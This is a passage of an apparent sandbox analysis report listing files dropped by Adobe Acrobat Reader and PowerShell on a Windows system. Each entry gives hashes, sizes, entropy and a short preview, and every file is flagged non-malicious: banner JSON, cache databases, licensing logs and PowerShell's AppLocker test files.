Preview:	{"analyticsData":{"responseGUID":"4fbded7a-12f9-4717-a7db-666151085b97","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715925448,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.355596486299233
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDKuItAy8OQbWmSg1c2LjcWkHvR0YuDKoAvJfzdPeUkwRe9:YvXKXC4jhT5LjIPKtGb8Ukee9
MD5:	E0F0DF5042B31109E3E1539182014CEC
SHA1:	0215669E8D31A10274EE37B17A82E858125377D0
SHA-256:	225DDAACA43E78187BF4912808C0C271E552C9B6FEBBB008CF153DA9A2997E43
SHA-512:	ED80D0FC36D80768792DFBC2CDF3B3DC05D4A719DB3CE23801F23F650F88273B90B65CA53A1CDD69BB0D1C7F8F94E55A101AFA0A4AA59ECCC49C66FF8486B9F5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fbded7a-12f9-4717-a7db-666151085b97","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715925448,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.336992468492589
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDKuItAy8OQbWmSg1c2LjcWkHvR0YuDKoAvJfYdPeUkwRe9:YvXKXC4jhT5LjIPKtGg8Ukee9
MD5:	852FCC52CDDAEE73F378F694D2883170
SHA1:	7D9799852349C48B3D5673D4FED89AC1766F017A
SHA-256:	5C4F057A35541EA6B7E6D016084AE001634F999307205BC2B48F8B28C990F284
SHA-512:	677EECE6301C1E236678C08A7CA01621DFAEBC0D0B324E63595A7B86CE258A7E698DA2956073D820DA5BF80B0F854B1CBA014CA628E62AE2D4FB7113CDCC816A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fbded7a-12f9-4717-a7db-666151085b97","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715925448,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.323694117169205
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDKuItAy8OQbWmSg1c2LjcWkHvR0YuDKoAvJf+dPeUkwRe9:YvXKXC4jhT5LjIPKtG28Ukee9
MD5:	7B53199A8EE02B82CFE148923B6C4400
SHA1:	DEB9031DCD27A19E0480BB65414965F7A1B33C2C
SHA-256:	4FBC70C618F3BF70B9D1E48A8B103411190D3D392A232DE549FE91EA94975601
SHA-512:	C17AE0E96F98021B9477673B300185700CFEBE8183ADD7BE105880BDF61A4788B8D0FC2F2FF13A711D0579FDDFCDCAB741ED9B1B7C244F75411C45DA87FDC32A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fbded7a-12f9-4717-a7db-666151085b97","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715925448,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.320285322396745
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDKuItAy8OQbWmSg1c2LjcWkHvR0YuDKoAvJfbPtdPeUkwRe9:YvXKXC4jhT5LjIPKtGDV8Ukee9
MD5:	51CE0FDF8C01DFB5DF2E686C629F7DD4
SHA1:	770BF61F6B4A302F100EF1A6BDA5873AE6D3997F
SHA-256:	0FA652CE19A41ED55A98E950269B24EC39661AB04A54350B6F525AFA7CA41B66
SHA-512:	29265B710E5D8A47D41FCD16A5F79CC1FC3B258166C84A318B18B7A1EE8CCEF34F6C1D820DAD7430B6C800782C69238C136E2A85289F67ACA7589175DAC867BB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fbded7a-12f9-4717-a7db-666151085b97","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715925448,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.312871661529328
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDKuItAy8OQbWmSg1c2LjcWkHvR0YuDKoAvJf21rPeUkwRe9:YvXKXC4jhT5LjIPKtG+16Ukee9
MD5:	122EE628C453971797A97D854DE16F87
SHA1:	29066754E844A09E9FD3D389A9A841D17839CE51
SHA-256:	B3D218B99F7AD75607A0CFD957E3647B35582F47982E801BD7B9083AA76A77F9
SHA-512:	F99E3B7A30B81DB92DB84CD799CB82CE80272C48401BFB3E616FDB0689BD5308B9E41F17E986AE14959E8DFF12908DC4F2DAC9DFADDCBCFEEFB5AC2A20B62100
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fbded7a-12f9-4717-a7db-666151085b97","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715925448,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.676098772580629
Encrypted:	false
SSDEEP:	24:Yv6XC4jhT5XICOamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS4:Yvt4jbXHQBgkDMUJUAh8cvM4
MD5:	FE4D79EB933F24AD20165DFA42842FBA
SHA1:	50DFD298EE976A61C7B23039FD2ACDAFF6F051E7
SHA-256:	FE9F6E0D7B715B2628A71F547D2F90E34C5AAFCB64F9432CF3B50D7D0211E81D
SHA-512:	87402F96E95E96720917DADC6875D31C6D49F377E48C0357976BB90444F70EF3F0C9757865C75ED0F6A0D7A4C31EFE0B1F0A885CB6E9127547145F0D61ECE62A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fbded7a-12f9-4717-a7db-666151085b97","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715925448,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.285597328460705
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDKuItAy8OQbWmSg1c2LjcWkHvR0YuDKoAvJfshHHrPeUkwRe9:YvXKXC4jhT5LjIPKtGUUUkee9
MD5:	25475C33434BC3A1C5CFCF492A422DE7
SHA1:	B88CF083829123F78B35990616F280D50DB1A42A
SHA-256:	79D35FB1A7F7ACC6DA7CAE1967E869CD83452B4B6D4148E682D59E5B175DF1D1
SHA-512:	DAABDDB8D855741C1CCDF06728151A3EB43DB70055BC0ED31C31B33A1FC3AE7DD50A50759BEEE26511D61533E27A1A507BB531B2AB9B84704941EEF86B0C5F7B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fbded7a-12f9-4717-a7db-666151085b97","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715925448,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.295332399816187
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDKuItAy8OQbWmSg1c2LjcWkHvR0YuDKoAvJTqgFCrPeUkwRe9:YvXKXC4jhT5LjIPKtGTq16Ukee9
MD5:	819E101842C9222E911CD689C89C54B0
SHA1:	1719C0D56270A46EE66ABBFED7311871777684AE
SHA-256:	A1119C536CAF71D26059F4F040917DE1B27AD370FE133A6247999E1CF57E230D
SHA-512:	02EF05398247CA29E4D1AAFADA125D1C7EF1505917E2A350DC8F534AC62C2B210BBCA2CA11B2119FBF8D8E40C126E01FF6AB6E2598F72BAC0AB4ED7D7BB63E8E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fbded7a-12f9-4717-a7db-666151085b97","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715925448,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1315846478733755
Encrypted:	false
SSDEEP:	24:Ye17a+hayvLPXgwPG9+Fjhcj0S3A32u2LSpCwMorQb051Kvh98rspj5uBJOG:YeHXQ/gsqrDQorQIqh98rspu
MD5:	9EB04F97F1787ABD93833825C3879F3F
SHA1:	8F211E7016FDA06C6300825D2EAEAC530DA48C50
SHA-256:	6E1F7DFA382E452112136FAC73E7C38AE72F6A2B5CD99900D8A0359E6CA8515D
SHA-512:	EE080723461D8E36141C82C2DF9DAEBCD17036240865E12819FD0EE0E7978746FA1BF79FC4F45C61CC65068DC9543BA800D312B6FB1E9F1B9AE15764AEE263A7
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"38da7dda2ec745fd96eb3a4a5392179e","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736542134000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a249b87a39eee15cdbb640a265274f1c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736542134000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"26da61f27d70243eb4fef968d7853616","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736542134000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"63635ea8134b248a801c95ecc3f04104","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736542134000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"5341fe1a7e2ae1764105ee538e4c6ada","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736542134000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"00d5b988d4f0c06e12f68fe0a99bb031","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3655037085659965
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuaChXKdqEKfS8EKfM1baSChF:Tll2GL7msMcKTlS8fcsuaCmfISCz
MD5:	CE589E751C03599FA6A1C1EBF167AADB
SHA1:	5F229A19DF0BE68589F274E07DBF7BA2B280CA27
SHA-256:	895B760848D0B3C3D5496900C193EC5BDD29956758B3434A56D193A7EB3942B7
SHA-512:	2C31CAF85A79A59DC85A81A40C04A721B2C050AA0AB1B7282F6BD4157E496DB8834979C48873413E629EFB8E65A51F27741518E3FB7095E96D1B79EF14A7E2BB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8390721031792663
Encrypted:	false
SSDEEP:	24:7+tbZ6bqyKn6ylSTofcNqDuaCh+KdqEKfS8EKfM1banbqvRqLKufx/XYKQvGJF7X:7M9cKTlS8fcsuaCDfI4qGufl2GL7msT
MD5:	611DC819A56C0EE8674E8220E4DE001F
SHA1:	B77D0035134FED8835319630014E0BBF3806B8FC
SHA-256:	EB6D89E91E037DEB8C9755DC2792DEE1C0ED5E7D63099099F14176A85ED86B3A
SHA-512:	AC867C05258D7082E478E6CF8CFBF5B5097CB6AA68717B95B6CFB55338FE0D081EED471309101B47BDB658BCD70F7381AEDF3B3C407D0B1910AC96B88CC0585B
Malicious:	false
Preview:	.... .c.....4 pA..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgd+R57YvDJ2FVBxocO7ls27QaYyu:6a6TZ44ADEYf7YbJ2zKJ7QaK
MD5:	2AE17CA85BDE4D638550B2E4C54BE1D7
SHA1:	BAAACB13EDBBAE1974D0F9FB9B0ABD9A57A3B9F0
SHA-256:	4BB4EF085CB936C22251BF07130783D001A605F347A066AF590BC2B551DF975B
SHA-512:	98759C037CFB7BBF3A117A544BD42BDB4CBA293078FA1563E0252E1D7FFDF91660958E2B8E079130E62181B7114FF5C2B1D028CF76F0595C4FFEFAEBD1B31F23
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIbe744.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5263912796263748
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE8mWnH:Qw946cPbiOxDlbYnuRK+bDW
MD5:	0A215D00AB18D5047E97ABC853290F2C
SHA1:	76F9F0C0C1EAE3010CA63F8D791AEF13BAC7CBF4
SHA-256:	303133581F4E87566B7475416BCEBB0A1C88D7D5CAF5996DE48F0A1EBD7D1864
SHA-512:	DA844B6B6B89D09BB55749FB1B328E1C176D83142BB986F6D917E210A8F84DDD6C9439862BE31D0F9F836439620DC22AAC58D5B5D4A192BF843DE232F59A544F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.4.8.:.5.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0enljl0c.xeo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_elaf1y2u.0qw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9177zyoc_t9jakc_5yw.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-48-47-089.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15092
Entropy (8bit):	5.344129406506757
Encrypted:	false
SSDEEP:	384:Zo0BcA96dJOW6JYIFfMvBWw1tWZqpL7GrAeQKyw5fOJhD4NIgjl1SpSjm1zkCNFz:GzV
MD5:	574ECAF6A9058D48068800B77BD4C3F9
SHA1:	98CABD1E43A016044BB18640872E224EBC005CE4
SHA-256:	0C70FF53B534D93333CCB89FCDE755604B9B7224EA25292881DA7D28278ECBC9
SHA-512:	A86B86C166DF8DFEB43BE4AF802AFAC47EA33F7E412F9914A5AEA8D68DCC951829008E0CC05C0DDF362E0C6EAD0B22C7C266A9D065C98BD53EEC360BAC202E91
Malicious:	false
Preview:	SessionID=c5f78ed8-57d2-4ac9-8181-fbcc8d4be304.1736542127108 Timestamp=2025-01-10T15:48:47:108-0500 ThreadID=872 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=c5f78ed8-57d2-4ac9-8181-fbcc8d4be304.1736542127108 Timestamp=2025-01-10T15:48:47:109-0500 ThreadID=872 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=c5f78ed8-57d2-4ac9-8181-fbcc8d4be304.1736542127108 Timestamp=2025-01-10T15:48:47:109-0500 ThreadID=872 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=c5f78ed8-57d2-4ac9-8181-fbcc8d4be304.1736542127108 Timestamp=2025-01-10T15:48:47:109-0500 ThreadID=872 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=c5f78ed8-57d2-4ac9-8181-fbcc8d4be304.1736542127108 Timestamp=2025-01-10T15:48:47:109-0500 ThreadID=872 Component=ngl-lib_NglAppLib Description="SetConfig: N

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.38284266935373
Encrypted:	false
SSDEEP:	384:8qnXopZ50r/440nE50nxdBxzk9i0VwFa4Ct:8i5440nE50nxdBxzk9i0VwFaZ
MD5:	D983971CD3A6522D78C99C05EE62EA35
SHA1:	2251A1E9D9CF568A230C2D030D9B06F1C6A6BD62
SHA-256:	C9F129D6867675F271332A54D9711B1BF8D3E96F0582E9A449DBC06E9790F75E
SHA-512:	E2E48290CB86011583202DF892824A4CC4C8893F3B2D4162433F75DE05CA700A281716EBE2F97429B1127855E94AD34076D4F6081F7CAA8265CEDFEE767757F5
Malicious:	false
